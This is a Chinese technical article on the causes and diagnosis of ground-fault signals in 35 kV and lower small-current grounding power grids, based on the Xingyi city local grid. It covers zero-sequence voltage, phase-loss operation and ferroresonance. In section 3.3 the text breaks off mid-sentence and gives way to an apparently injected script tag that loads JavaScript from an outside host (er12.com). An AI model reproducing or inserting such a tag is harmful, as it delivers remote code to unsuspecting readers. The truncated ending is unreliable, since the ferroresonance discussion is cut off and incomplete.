小电流接地系统接地的原因分析及对策

小电流接地系统特别是35kv及以下的小接地系统,由于线路分支多,走向复杂,电压等级较低,在设计施工中质量不易保证,运行中发生接地故障的几率很高。为了便于电网值班人员准确判断接地类别,及时处理故障,保证电网的安全可靠运行,提高用户电能质量。本文通过对兴义市地方电网的运行实践,从小接地系统绝缘监察装置的构成及动作原理,历年接地故障情况的统计、接地原因、故障判别及预防接地的措施等几个方面进行分析,对运行值班人员和工程技术人员有一定的借鉴作用。

  1.问题提出

  目前,小电流接地系统特别是35kv及以下的小接地系统,由于其线路分支多,走向复杂,电压等级较低,在设计施工中线路质量不易保证,运行中发生接地故障的几率是很高的。从我市地方电网历年来的运行统计资料来看,在小电流接地系统的接地故障中,35kv电网占8.2%,10kv电网占91.8%。本文通过笔者在实践中对电网运行工况的了解以及运行经验的总结,分析了小电流接地系统在实际运行中易引起误判的几类接地故障,在给出其原因分析的基础上着重阐述了接地故障的判别方法、处理措施及对策。相信对同行有一定的借鉴作用。

  2.易引起误判的几类接地故障及其原因分析

  为了便于展开下文,我们有必要首先对电网发生接地的原因作一个简单的分析。如图1,当中性点电压uo不为0且uo大于绝缘监察系统定值时,便有接地信号发出,而uo

  反映的是零序电压,其计算公式为:

  uo=(ùa+ùb+ùc)/3

  从上式可以看出,当电网各相电压ùa、ùb、ùc不平衡时,便有中性点电压uo产生,而电网电压的不平衡度是接地信号发生与否的关键,本文下面的论述将紧紧围绕接地故障发生的原因作具体分析。根据兴义市地方电网历年来的运行资料,我们统计了如下几类经常发生接地的情况:

  2.1系统发生单相接地或两相不完全接地

  此时,系统各相对地电压ùa、ùb、ùc不平衡,其相量和不为零,产生中性点位移

  (如图1),致使tv二次的开口三角绕组出现零序电压而发出接地信号。

  2.2系统高压侧缺相运行

  根据运行经验和多次的模拟试验,当系统高压侧缺一相或两相运行时,由于各相对地电压不平衡(某一相或两相为零),其相量和不为零,产生的中性点位移致使tv二次的开口三角绕组出现零序电压而发出接地信号。

  2.3系统发生谐振

  由于系统中电压互感器tv的励磁电抗xl(等于ωl)过低,倒闸操作时恰遇某相电压过零值或操作手法不正确、系统接地运行时间过长等,都可能导致系统发生铁磁谐振。此时,系统三相电压是不平衡的,产生的中性点位移也会使保护动作而发出接地信号,这是在实际运行中导致接地信号误发最多的一种假接地故障。

  此外,对高压设备摇测绝缘或雷电时也可能导致假接地信号发出。由于以上诸多原因,在客观上给运行人员判别接地故障带来了一定的难度。

  3.接地故障判别

  根据tv的接线特点,其铁芯中存在零序磁通通路,故在其二次感应电压而使保护动作而发出接地信号。对于各种接地类别的大致特点,我们有必要进行一定的归纳总结,以利电网值班人员准确地判别故障情况,采取正确方法及时消除故障。

  3.1系统一相接地或两相不完全接地

  此时,其相应相对地电压降低,非接地相电压升高,电压表计指示视情况不同而异。

  当一相完全接地时,故障相对地电压为零,中性点位移电压为相电压,非故障相对地电压升高倍,变为系统线电压。若故障相不完全接地,则故障相对地电压大于零而小于相电压,非故障相对地电压值大于相电压而小于线电压,接地电流比完全接地时小一些。由此,我们根据图2所示绝缘监察系统所接各种表计指示即可得知系统接地情况。

  3.2系统高压侧缺相运行时当系统高压侧某一相(或两相)断线或母线电压互感器某一相(或两相)高压保险熔断时,有如下具体情况:

  3.2.1若绝缘监察系统(图2)采用单相电压互感器组成的y0/y0接线时,假设tv一次a相熔断造成缺相运行,二次a相无感应电压,按说图2中va应无指示。但从vab电压表串过b相,结果使电压表vab、va形成一串联分压回路,使得va表计有一定指示,其值与表计内阻成正比。

  3.2.2若绝缘监察系统采用三相五柱式电压互感器时,由于磁路系统互相联通,当高压侧a相保险熔断造成缺相运行时,二次a相能感应电压,va与vab比上述3.2.1中的分析结果高些。缺两相的分析与缺一相的分析类同。总之,系统发生缺相运行时,故障相的表计有一定指示,非故障相的表计指示不变。

  3.3当系统发生谐振时发生铁磁谐振的一个显著特征就是产生过?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计